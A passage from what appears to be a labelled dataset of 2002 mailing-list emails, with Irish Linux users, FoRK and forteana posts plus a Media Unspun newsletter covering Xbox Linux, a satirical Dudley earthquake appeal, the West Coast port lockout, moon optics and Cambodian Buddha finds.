>large company are making a loss on it and: > > > >http://xbox-linux.sourceforge.net/articles.php?aid=1⊂=Press%20Release% > 3A%20Xbox%20Linux%20Mandrake%209%20Released > > > >Mandrake has been released for it. > > isn't it 250 in Smyths? > > don't forget to add to that the modchip, and the time to put it on. > > (/me thinks unless you want 3d graphics, www.mini-itx.com is the way to go > :)) > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gregory Alan Bolcer ,Rohit Khare ,"Tue, 08 Oct 2002 06:08:05 -0700",Re: why is decentralization worth worrying about?,"Rohit Khare wrote: > > Why am I so passionate about decentralization? Because I believe some of > today?s most profound problems with networked applications are caused by > centralization. > > Generically, a centralized political or economic system permits only one > answer to a question, while decentralization permits many separate > agents to hold different opinions of the same matter. In the specific > context of software, centralized variables can only contain one valid > value at a time. That limits us to only representing information A) > according to the beliefs of a single agency, and B) that changes more > slowly than it takes to propagate. Nevertheless, centralization is the > basis for today?s most popular architectural style for developing > network applications: client-server interaction using request-response > communication protocols. I think the ability to maintain an inconsistent database is key to decentralization. Databases enforce consistenty with every transaction. Bounded transactions, like an ATM, enforce consistency by have some play with time and value Most people keep inconsistent data in their heads, it's called congnitive dissonance theory Most businesses keep inconsistent data, documents, tationale and ideas to support their work activities, it's called real life. I don't think it matters so much where it's located, i.e. decentralization. I think that decentralization is the workaround from technical limitations. The fallout being that the only way inconsistent information spaces can be maintained is by protecting them through a set of trust barriers and boundaries. The local information when combined with the technical troubles of providing ""just enough"" forced synchronization to remote information provide workable data consistenty, i.e. enforcing local constraints or ignoring global ones when concerns are more immedidate. Tolerating temporary, irreconcilable deviations is how people cope, otherwise you'd be like Nick Gatsby unnecessarily pre-occupied with a spot of shaving cream on McKee's neck who thinks that if he can just wipe that spot off that the whole world would be a little more perfect and everything, including his pre-occupation with Daisy, would consistently be in its proper place. Greg",0,0 Andy ,"""'zzzzteana@yahoogroups.com'"" ","Tue, 8 Oct 2002 14:20:39 +0100",[zzzzteana] FW: please give generously,"-----Original Message----- Subject: please give generously > > > > > > > > Please give generously... > > > > URGENT - DUDLEY EARTHQUAKE APPEAL > > > > At 00:54 on Monday 23 September an earthquake measuring 4.8 on the > > > > Richter scale hit Dudley,UK causing untold disruption and distress - > > > > * Many were woken well before their giro arrived > > > > * Several priceless collections of mementos from the Balearics and > > > > Spanish costas were damaged > > > > * Three areas of historic and scientifically significant litter were > > > > disturbed > > > > * Thousands are confused and bewildered, trying to come to terms with > > > > the fact that something interesting has happened in Dudley > > > > One resident, Donna-Marie Dutton, a 17 year old mother-of-three said ""It > > > > was such a shock, little Chantal-Leanne came running into my bedroom > > > > crying. My youngest two, Tyler-Morgan and Megan-Storm slept through it. > > > > I was still shaking when I was watching Trisha the next morning."" > > > > Apparently though, looting did carry on as normal. > > > > The British Red Cross have so far managed to ship 4000 crates of Sunny > > > > Delight to the area to help the stricken masses. > > > > Rescue workers are still searching through the rubble and have found > > > > large quantities of personal belongings including benefit books and > > > > jewellery from Elizabeth Duke at Argos. > > > > HOW YOU CAN HELP > > > > * 2 buys chips, scraps and blue pop for a family of four > > > > * 10 can take a family to Stourport for the day, where children can > > > > play on an unspoiled canal bank among the national collection of > > > > stinging nettles > > > > * 22p buys a biro for filling in a spurious compensation claim > > > > PLEASE ACT NOW > > > > Simply email us by return with your credit card details and we'll do the > > > > rest! If you prefer to donate cash, there are collection points > > > > available at your local branches of Argos, Iceland and Clinton Cards. > > _________________________________________________________________ Join the world's largest e-mail service with MSN Hotmail. http://www.hotmail.com ------------------------ Yahoo! Groups Sponsor ---------------------~--> Home Selling? Try Us! http://us.click.yahoo.com/QrPZMC/iTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Media Unspun"" ",zzzz-unspun@spamassassin.taint.org,"Tue, 08 Oct 2002 09:21:18 -0400",Bush Covers the Waterfront,"This is a multi-part message in MIME format... ------------=_1034083278-26594-4 Content-Type: text/plain; charset=""iso-8859-1"" Content-Disposition: inline Content-Transfer-Encoding: 7bit To view this newsletter in full-color: http://newsletter.mediaunspun.com/index000021410.cfm Media Unspun What the Press is Reporting and Why (www.mediaunspun.com) ----------------------------------------------------------------- October 8, 2002 ----------------------------------------------------------------- IN THIS ISSUE ----------------------------------------------------------------- * BUSH COVERS THE WATERFRONT * THE BIGGEST CABLE HOOKUP ----------------------------------------------------------------- EDITOR'S NOTE ----------------------------------------------------------------- Is Media Unspun useful to you? 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On Monday, Bush stepped in and appointed a three-member panel to see how badly this shutdown is hosing the economy. (We hope this isn't a difficult question, as the panel's been given all of one day to report back.) When Bush gets the report on Tuesday, the next step might be a court order to reopen the ports under the 1947 Taft-Hartley Act. That would send employees back to work for 80 days while federal mediators duke it out over the disputed contract and retailers lower their Xanax dosages. Invoking Taft-Hartley requires a threat to national health or safety -- not the economy. But Labor Secretary Elaine Chao covered that base in a statement on Monday, saying the work stoppage threatens the flow of supplies to the military (we knew Iraq would be in here somewhere). ""Union officials quickly responded that their members have been unloading military cargo throughout the 10-day shutdown,"" said the L.A. Times, but an anonymous Bush administration official ""said that only a portion of what the Defense Department needs has made it ashore."" Politically, this has been a tricky one. Using Taft-Hartley would annoy labor right before congressional elections. On the other hand, ""Voter discontent with Bush's handling of the increasingly fragile economic recovery has begun showing up in polls, and such concerns may have outweighed the political danger to the Republican administration,"" said the San Francisco Chronicle. Also, Bush stepped in on the same day that a poll reported two-thirds of Americans wanted him to focus more on the economy. ""Though the administration promised an unbiased examination of the lockout, Bush appeared to have made up his mind that it was hurting national security and the economy, andmerited federal intervention,"" said the AP. As for Taft-Hartley, it's not exactly famous for solving labor disputes. Often the 80-day cooling-off period ends, and workers simply walk out again (or get locked out again, in this case). One gets the sense, however, that fixing the dockworkers' contract isn't the point of this particular 80 days. It's 78 days until Christmas. The race is on. - Jen Muehlbauer President Acts To Halt Port Lockout for 80 Days (Seattle Times) http://tinyurl.com/1usn Bush Expected To Act on Ports Crisis http://www.accessatlanta.com/ajc/business/1002/08ports.html President Moves Toward Forcing the Reopening of West Coast Ports http://www.latimes.com/business/la-fi-ports8oct08001439,0,1021983.story Bush Takes Step Toward Halting Lockout After West Coast Port Talks Break Off (AP) http://tinyurl.com/1usk White House Intervenes on Docks Dispute (Financial Times) http://tinyurl.com/1usm Cooling-off Period Likely in Port Fight (SF Chronicle) http://tinyurl.com/1usp Bush Moves Toward Halting Port Shutdown http://www.nytimes.com/2002/10/08/national/08PORT.html Trouble On The Docks http://online.wsj.com/page/0,,2_0864,00.html (Paid subscription required.) Charges of Politics Have Dogged Taft-Hartley Act http://seattlepi.nwsource.com/business/90243_hartley08.shtml Taft-Hartley Act No Quick-Fix For Port Dispute (Reuters) http://www.forbes.com/work/newswire/2002/10/02/rtr739458.html ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- SPECIAL OFFER! Save 24% on a subscription to MIT TECHNOLOGY REVIEW. Get an inside view into the technologies, deals, and companies emerging from one of the leading research institutes -- MIT. http://www.technologyinsider.com/new/news1 ----------------------------------------------------------------- THE BIGGEST CABLE HOOKUP ----------------------------------------------------------------- wo birds want to join forces and the FCC is about to cry ""fowl."" We mean ""foul."" The two dominant direct broadcast satellite players want to join forces, the better to compete with Big Cable. Federal regulators, both the FCC and the Justice Department, are concerned that the resulting conglomerate of DirecTV with Dish Network would command roughly 95% of satellite service in the US. The press could not settle on a price tag for the proposed merger between EchoStar Communications and Hughes Electronics -- it was described as being worth anywhere from $15 billion and $25 billion. It was a challenge to keep the players straight, as some outlets talked of a merger between the corporate parents, and others referred to the service monikers. Hughes is DirecTV and EchoStar is Dish. All straight? The two companies sent a letter to the FCC urging them to hold off ruling on (read, rejecting) the merger until the Justice Department has spoken. EchoStar and Hughes offered unspecified ""major revisions"" to the deal that they want to discuss with Justice in the next weeks. The Wall Street Journal delved deeply into the form those revisions could take -- specifically, selling some frequencies to Cablevision. The Journal reported that Cablevision has wanted to get into the satellite business for 10 years and outlined the cable company's plans and past spending on such a project. TheStreet.com turned in an extensive analysis of the deal for investors in the satellite space. It seems the market for expanded-service television may be nearing saturation. TheStreet.com quoted an analyst's report which concluded, ""Consumers should benefit from ... continued rivalry, but shareholders may realize much smaller returns."" The New York Times and the Journal both mentioned Rupert Murdoch waiting in the wings. Last year Murdoch's News Corp. bid for DirecTV, but lost out at the last minute to EchoStar. If the current deal falls through, he'll be back. - Keith Dawson EchoStar and Hughes Propose Concessions in Bid to Save Deal http://online.wsj.com/article/0,,SB103403314258094560,00.html (Paid subscription required) Regulators Set to Block EchoStar's Hughes Purchase http://online.wsj.com/article/0,,SB1033939901346228393,00.html (Paid subscription required) 'Last-ditch effort' (Rocky Mountain News) http://tinyurl.com/1upi EchoStar, Hughes See a Glimmer of Hope http://www.thestreet.com/tech/georgemannes/10046366.html F.C.C. Asked to Put Off Merger Ruling http://www.nytimes.com/2002/10/08/business/media/08BIRD.html EchoStar, Hughes ask FCC to defer decision http://www.nypost.com/business/59145.htm EchoStar, Hughes offer merger changes (Reuters) http://news.com.com/2100-1023-961138.html Delay in satellite-TV merger OK requested (AP) http://www.bayarea.com/mld/mercurynews/business/4236430.htm EchoStar, Hughes Seek to Delay Ruling http://www.latimes.com/technology/la-fi-echo8oct08,0,3454976.story EchoStar pleads to FCC on merger (Denver Post) http://tinyurl.com/1ut7 ----------------------------------------------------------------- OTHER STORIES ----------------------------------------------------------------- SEC Probes AOL-Oxygen Pact For Double-Booking of Revenue http://online.wsj.com/article/0,,SB1033938113684731193,00.html (Paid subscription required.) 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Bush Covers the Waterfront The Biggest Cable Hookup Other Stories Editor's Note Is Media Unspun useful to you? Then pass it on to a colleague. The more readers we have, the more successful we'll be. The more successful we are, the more useful we can be to you. Pass it on! Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. Sponsor Pop!Tech 2002 October 18 - 20, 2002: Camden, Maine Join 500 big thinkers to discuss the collision of technology and culture Register now at: http://www.poptech.org Bush Covers the Waterfront It may seem like all Iraq, all the time in the Oval Office, but the president has at least one other thing on his mind this week: that pesky port lockout. The freight still isn't moving, factories are running out of parts, produce is rotting, and retailers are more freaked about Christmas with every passing day. On Monday, Bush stepped in and appointed a three-member panel to see how badly this shutdown is hosing the economy. (We hope this isn't a difficult question, as the panel's been given all of one day to report back.) When Bush gets the report on Tuesday, the next step might be a court order to reopen the ports under the 1947 Taft-Hartley Act. That would send employees back to work for 80 days while federal mediators duke it out over the disputed contract and retailers lower their Xanax dosages. Invoking Taft-Hartley requires a threat to national health or safety -- not the economy. But Labor Secretary Elaine Chao covered that base in a statement on Monday, saying the work stoppage threatens the flow of supplies to the military (we knew Iraq would be in here somewhere). ""Union officials quickly responded that their members have been unloading military cargo throughout the 10-day shutdown,"" said the L.A. Times, but an anonymous Bush administration official ""said that only a portion of what the Defense Department needs has made it ashore."" Politically, this has been a tricky one. Using Taft-Hartley would annoy labor right before congressional elections. On the other hand, ""Voter discontent with Bush's handling of the increasingly fragile economic recovery has begun showing up in polls, and such concerns may have outweighed the political danger to the Republican administration,"" said the San Francisco Chronicle. Also, Bush stepped in on the same day that a poll reported two-thirds of Americans wanted him to focus more on the economy. ""Though the administration promised an unbiased examination of the lockout, Bush appeared to have made up his mind that it was hurting national security and the economy, andmerited federal intervention,"" said the AP. As for Taft-Hartley, it's not exactly famous for solving labor disputes. Often the 80-day cooling-off period ends, and workers simply walk out again (or get locked out again, in this case). One gets the sense, however, that fixing the dockworkers' contract isn't the point of this particular 80 days. It's 78 days until Christmas. The race is on. - Jen Muehlbauer President Acts To Halt Port Lockout for 80 Days (Seattle Times) http://tinyurl.com/1usn Bush Expected To Act on Ports Crisis http://www.accessatlanta.com/ajc/business/1002/08ports.html President Moves Toward Forcing the Reopening of West Coast Ports http://www.latimes.com/business/la-fi-ports8oct08001439,0,1021983.story Bush Takes Step Toward Halting Lockout After West Coast Port Talks Break Off (AP) http://tinyurl.com/1usk White House Intervenes on Docks Dispute (Financial Times) http://tinyurl.com/1usm Cooling-off Period Likely in Port Fight (SF Chronicle) http://tinyurl.com/1usp Bush Moves Toward Halting Port Shutdown http://www.nytimes.com/2002/10/08/national/08PORT.html Trouble On The Docks http://online.wsj.com/page/0,,2_0864,00.html (Paid subscription required.) Charges of Politics Have Dogged Taft-Hartley Act http://seattlepi.nwsource.com/business/90243_hartley08.shtml Taft-Hartley Act No Quick-Fix For Port Dispute (Reuters) http://www.forbes.com/work/newswire/2002/10/02/rtr739458.html Sponsor SPECIAL OFFER! Save 24% on a subscription to MIT TECHNOLOGY REVIEW. Get an inside view into the technologies, deals, and companies emerging from one of the leading research institutes -- MIT. http://www.technologyinsider.com/new/news1 The Biggest Cable Hookup wo birds want to join forces and the FCC is about to cry ""fowl."" We mean ""foul."" The two dominant direct broadcast satellite players want to join forces, the better to compete with Big Cable. Federal regulators, both the FCC and the Justice Department, are concerned that the resulting conglomerate of DirecTV with Dish Network would command roughly 95% of satellite service in the US. The press could not settle on a price tag for the proposed merger between EchoStar Communications and Hughes Electronics -- it was described as being worth anywhere from $15 billion and $25 billion. It was a challenge to keep the players straight, as some outlets talked of a merger between the corporate parents, and others referred to the service monikers. Hughes is DirecTV and EchoStar is Dish. All straight? The two companies sent a letter to the FCC urging them to hold off ruling on (read, rejecting) the merger until the Justice Department has spoken. EchoStar and Hughes offered unspecified ""major revisions"" to the deal that they want to discuss with Justice in the next weeks. The Wall Street Journal delved deeply into the form those revisions could take -- specifically, selling some frequencies to Cablevision. The Journal reported that Cablevision has wanted to get into the satellite business for 10 years and outlined the cable company's plans and past spending on such a project. TheStreet.com turned in an extensive analysis of the deal for investors in the satellite space. It seems the market for expanded-service television may be nearing saturation. TheStreet.com quoted an analyst's report which concluded, ""Consumers should benefit from ... continued rivalry, but shareholders may realize much smaller returns."" The New York Times and the Journal both mentioned Rupert Murdoch waiting in the wings. Last year Murdoch's News Corp. bid for DirecTV, but lost out at the last minute to EchoStar. If the current deal falls through, he'll be back. - Keith Dawson EchoStar and Hughes Propose Concessions in Bid to Save Deal http://online.wsj.com/article/0,,SB103403314258094560,00.html (Paid subscription required) Regulators Set to Block EchoStar's Hughes Purchase http://online.wsj.com/article/0,,SB1033939901346228393,00.html (Paid subscription required) 'Last-ditch effort' (Rocky Mountain News) http://tinyurl.com/1upi EchoStar, Hughes See a Glimmer of Hope http://www.thestreet.com/tech/georgemannes/10046366.html F.C.C. Asked to Put Off Merger Ruling http://www.nytimes.com/2002/10/08/business/media/08BIRD.html EchoStar, Hughes ask FCC to defer decision http://www.nypost.com/business/59145.htm EchoStar, Hughes offer merger changes (Reuters) http://news.com.com/2100-1023-961138.html Delay in satellite-TV merger OK requested (AP) http://www.bayarea.com/mld/mercurynews/business/4236430.htm EchoStar, Hughes Seek to Delay Ruling http://www.latimes.com/technology/la-fi-echo8oct08,0,3454976.story EchoStar pleads to FCC on merger (Denver Post) http://tinyurl.com/1ut7 Other Stories SEC Probes AOL-Oxygen Pact For Double-Booking of Revenue http://online.wsj.com/article/0,,SB1033938113684731193,00.html (Paid subscription required.) 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List maintainer: listmaster@linux.ie",0,1 Philip Trickett ,John Moylan ,08 Oct 2002 14:36:33 +0100,Re: [ILUG] mini-itx,"On Tue, 2002-10-08 at 14:13, John Moylan wrote: > Hmm, speaking of cheap machines etc, has anyone tried this sort of > thing: http://www.mini-itx.com/projects/humidor64/ ? or more importantly > has anyone had any positive/negative experiences with the Via mini-itx > boards/via c3 processors. > I recall a thread last year about building a custom MP3/CD/Game/vcd > recorder machine, these systems seem to hit the mark. Also, I need to > build a new box, and I was thinking about something that would be as > unobtrusive as possible in my living room;) > > John The forums there are very informative, and there is also more info on using linux on the mini ITX boards at http://linitx.org/. A couple of the autopc projects make interesting reading in this regard: http://thisstrife.com/ but most of them seem to use windows for some unknown reason..... HTH Phil -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rob Solarion ,"Tyana Archive ,","Tue, 27 Aug 2002 18:40:01 -0600","[zzzzteana] ""Put this in your stereo and smoke it ... ""","http://www.ouchytheclown.com/welcome.html ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Brian Chapman ,zzzzteana@yahoogroups.com,"Tue, 27 Aug 2002 18:13:59 -0700 (PDT)","Re: [zzzzteana] Not a materialisation, but a transfiguration","On Tue, 27 Aug 2002 MICGRANGER@aol.com wrote: > Concerning this mail, what is your intention? When posting to this list excerpts from books I've just read, I usually refrain from adding any comments, letting the listmembers interpret them as they see fit. But since you asked.... I chose to post this text simply because I thought it was a particularly risible example of Doyle's invincible faith and his refusal to accept the fucking obvious. bc ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Bill Jacobs"" ",,"Tue, 27 Aug 2002 14:42:46 -0400",Re: [zzzzteana] Moon over ocean,"David asked: > My wife noticed something odd. The nearly-full moon was about 30 > degrees above the horizon. There was a notable glow on the horizon, > except under the moon. The moon seemed to be in a column of darkness > that was about three times the apparent width of the moon. We could see > the column over its entire length as a strip of sky darker than the sky > around it. > > Any of you ever see this? Do you have any idea what could have caused > it? I suspect it's due to some pecularity of the visual system, but > have no clear idea. I'm surprised to not find this phenomenon in Corlis. I could have sworn I saw it there. He does have the somewhat similar dark sky between a rainbow and a secondary bow. I personally have seen a rainbow enclosing a semi-circle of darker sky. I know I've read about pillars under the Sun and Moon elsewhere, but I can't recall if they were reportedly dark or bright. I do know these sorts of things are supposed to be quirks of optics not of the visual system. I'm sorry I haven't got any answers, but a search through some books on atmospheric optics ought to turn a few hints up. Bill William Jacobs Freelance Unemployed Person ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Tue, 27 Aug 2002 23:38:48 -0500",Re: [zzzzteana] Bad Buffalo,">peter fwded: >>Finally, Constable Evans hurled a thong at the animal, hitting it on the >>head. > >I know this isn't *quite* as funny to Australians as it is to >everyone else. Honestly. > >Rachel >not that walloping it with a flip-flop isn't hilarious too... >-- well unless you used the thong like a sling shot..... -- Fel http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """John Kahila"" ",,"Tue, 27 Aug 2002 23:57:42 -0400",RE: [zzzzteana] Moon over ocean,">David asked: >> My wife noticed something odd. The nearly-full moon was about 30 >> degrees above the horizon. There was a notable glow on the horizon, >> except under the moon. The moon seemed to be in a column of darkness >> that was about three times the apparent width of the moon. We could see >> the column over its entire length as a strip of sky darker than the sky >> around it. >> >> Any of you ever see this? Do you have any idea what could have caused >> it? I suspect it's due to some pecularity of the visual system, but >> have no clear idea. Bill Jacobs: > I'm surprised to not find this phenomenon in Corlis. I could have sworn I > saw it there. He does have the somewhat similar dark sky between a rainbow > and a secondary bow. I personally have seen a rainbow enclosing a > semi-circle of darker sky. > > I know I've read about pillars under the Sun and Moon elsewhere, > but I can't recall if they were reportedly dark or bright. I do know > these sorts of things are supposed to be quirks of optics not of the > visual system. I'm sorry I haven't got any answers, but a search > through some books on atmospheric optics ought to turn a few hints up. Some links: comprehensive http://www.meteoros.de/indexe.htm Atmospheric Light Phenomena http://www.auf.asn.au/meteorology/section12.html interesting observational stuff from the prior millenium including pix (click 1997 / colour plates) http://www.ursa.fi/ursa/jaostot/halot/ehp/index.html more pix, many of which flip to negative to highlight details (hover cursor) http://idefix.taide.turkuamk.fi/~iluukkon/taivas/valok/88.html and subsequent links john k ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Stewart Smith ,zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 08:59:07 +0100",Re: [zzzzteana] Illusionist emerges after 24 hours underwater,"> An illusionist has emerged after 24 hours underwater in a case in New York's > Times Square. I'd just like to recommend the newest Viz to ukers just for the hilarious ""David Blaine: Stalag Magician"". The ego'd one is in a WWII prison camp and sort of trying to escape. Several times he seems to have escaped and the british officers celebrate before it's revealed he's been buried alive or hiding in a freezer. At one point he's asked why and says ""Well it's not for publicity"" Cracking stuff. Stew -- Stewart Smith Scottish Microelectronics Centre, University of Edinburgh. http://www.ee.ed.ac.uk/~sxs/ ------------------------ Yahoo! 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Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Robin Hill ,zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 09:17:20 +0000",[zzzzteana] re: Steam,"On Tue, 27 Aug 2002 10:15:36 -0500 (EST) Jay Lake wrote: >Second, one could make the assumption that ancient or future civilizations >would not be hydrocarbon based. There are alternative fuel sources, >including seabed methane, biomass and all the usual suspects -- solar, >hydro etc. Some of these could be exploited on a decidedly low-tech (ie, >emergent civilization) basis. However, it is difficult to conceive of an >industrial civilization that doesn't employ wheels, axles and bearings, >all of which require lubrication. I'm not an engineer (Robin, anyone?) but >it's my understanding that vegetable lubrication breaks down under stress, >and that oil or graphite lubricants are the only reasonable choices for >high temperature/high rotation applications, at least prior to extremely >advanced modes of chemical synthesis. This is a good point. There are a lot of alternatives to hydrocarbon products derived from petroleum, but these have often been developed as a replacement for petroleum after the technology has been established - there is a growing industry in plant-derived plastics and lubricants, but this is to replicate materials that have been previously created much more easily within the petrochemical industry. Vegetable-derived lubricants have been used. The Russians used sunflower oil in the lubrication systems of tanks and trucks during the second world war, and work is being done in the UK to produce diesel fuel derived from waste cooking oil from fast-food restaurants. Jay's correct in his opinion that vegetable oil is not as durable as petroleum oil, but this is only because of the lack of sophistication of the chemistry involved. Synthetic fuels and lubricants are continuously being developed, and I don't see any problems with synthetics ultimately matching the performance of the more conventional products. As the rock oil runs out, plant oil derivatives *will* be developed to fill the gap. In parallel, changes will occur in the designs of the machines to cope with any changes in performance of the lubricants. My big concern is if the technology were ever to be lost for some reason. Re-creating a petrochemical industry from scratch without petrochemicals (that is, going immediately to plant-based synthetics) would be extremely difficult, especially if it were necessary to recreate *all* of the petrochemical-derived products (not just lubricants and fuels). I suspect that, bearing in mind the ingenuity of the human race, it would happen, just at a different pace. Imagine an industrial revollution based on, for example, methane from pig manure, or diesel oil from sunflowers. All we would then have to do is get used to all the machines smelling like pig farms and fish and chip shops... Robin Hill, STEAMY BESS, Brough, East Yorkshire ******************************************************************** This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. ******************************************************************** ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 09:24:34 +0100",[zzzzteana] Cambodian Buddhaas unearthed,"http://news.bbc.co.uk/1/hi/world/asia-pacific/2220132.stm Tuesday, 27 August, 2002, 21:35 GMT 22:35 UK Cambodia temple ruins yield treasure Workers clearing dense jungle near the ruins of an ancient pagoda in northern Cambodia have unearthed 31 Buddha statues - 27 of them solid gold. The statues - which are 10 centimetres (4 inches) tall - are in good condition and believed to be hundreds of years old. They were found on Saturday as workers were rebuilding the Po Pich temple about 100 km (65miles) north of the capital, Phnom Penh. The pagoda, in the Batay district of Kampong Thom province, was torn down during the reign of the Khmer Rouge in the 1970s and the area became overgrown. Community care Deputy police chief of Kampong Thom province, Hang Sithim, said the statues - three of which were silver and one bronze - were buried in about one metre (3.4ft) of earth and each weigh around 500 grams (1lb). ''I think that these Buddha statues had been buried hundreds of years ago, when the last temple was fully operating,"" Mr Hang Sithim said. Provincial authorities initially planned to take the statues to a nearby town for safekeeping, but opted to allow the Buddhist community at the temple to take care of them. ''We believe they are safe there,'' said Som Somphat, deputy governor of Kampong Thom province. ''The people of Po Pich pledged to treat them with respect and honour.'' Reign of terror A police guard has been placed around the site to protect it from looters. The Khmer Rouge waged civil war in Cambodia between 1970 and 1998 and controlled the country between 1975 and 1979. The regime outlawed religion and destroyed many objects regarded as decadent or culturally impure. About two million people died in the Khmer Rouge's drive to turn Cambodia into a farmers' utopia. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 09:28:35 +0100","[zzzzteana] Height, weight, girth, etc","http://www.guardian.co.uk/uk_news/story/0,3604,781616,00.html Britons stand tall, if slightly heavy, in Europe John Carvel, social affairs editor Wednesday August 28, 2002 The Guardian Not every European dimension has been harmonised in Brussels yet. According to the Department for Trade and Industry, the average Briton stands head, shoulders, girth and bottoms above their continental partners. The figures come in a new edition of the department's handbook of anthropometric and strength measurements, compiled by ergonomists at the University of Nottingham to help manufacturers design products to fit people's shape. The volume provides 294 measurements ranging from the distance between the inner corners of the eyes to the length of the leg between the crease below the buttock to the crease at the back of the knee. It has discovered that the average British man is 36 millimetres (1 inches) taller than his French counterpart. The mean height of UK citizens is 1,755.1mm (5ft 9in). Among European men only the Dutch are taller, averaging 1,795mm and with a clear height advantage over the US men's average of 1,760.4. The average British woman is 1,620mm tall (just under 5ft 4in), compared with 1,604mm for her French counterpart, 1,610mm for the Italians and 1,619mm for the Germans. Swedish women average 1,640mm, Dutch 1,650mm and Americans 1,626.7mm More disturbingly, British men and women are heavier than all the other nationalities except the Americans, averaging 79.75 kilos for British men and 66.7 for women. The average British woman has a chest measurement of 1,007.8mm (39.7 inches), compared with 965mm for the Italians, 912.6mm for the Japanese and 806mm for Sri Lankans. American women also top this scale with an average of 1,047.2mm. The average British woman's waist is 840.6mm (33 inches) - also second largest behind the Americans. But her bottom at 873.7mm is considerably smaller than the Italians at 916mm who beat the Americans into second place. The average British male foot is 266.8mm long (10.5 inches), 6mm longer than the French and Germans, 3mm more than the Italians and 1mm more than the Swedes. But they are just beaten by the Americans at 267.8mm and massively outstripped by the Dutch at 275mm. However Dutch women have daintier feet than the British, averaging 240mm compared with 241.1mm in the UK (9.5 inches). German women average 242mm, compared with 245mm for the Swedes and 242.1mm for the Americans. The DTI has a less than exhaustive record of ring finger lengths, but on the available evidence the British man's finger at 78.7mm (3.1 inches) is 1.7mm longer than his German counterpart, but 0.2mm shorter than the American average. The British woman's ring finger at 72.6mm is 0.4mm smaller than her German counterpart and 0.3mm smaller than the American. Beverley Norris, research fellow at Nottingham university's institute for occupational ergonomics, said the figures were useful for product designers. The department has recently completed a study of the pulling force needed to open ring pull cans. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 09:31:57 +0100",[zzzzteana] Emigrate to Russia? That's a steppe too far,"The Electronic Telegraph Emigrate to Russia? That's a steppe too far (Filed: 28/08/2002) So you think you've got it bad: fed up with Folkestone, bored with Birmingham or sick of Sheffield. Those 54 per cent of Britons - according to a Daily Telegraph/YouGov survey this week - who dream of a stress-free life in sunnier climes should perhaps heed a word of friendly advice on the realities of living abroad. Kommersant, a Russian daily newspaper, yesterday offered those dissatisfied with life in Blair's Britain a taste of what to expect should they choose to emigrate to provincial Russia. After reading about the gripes of affluent Britons, its 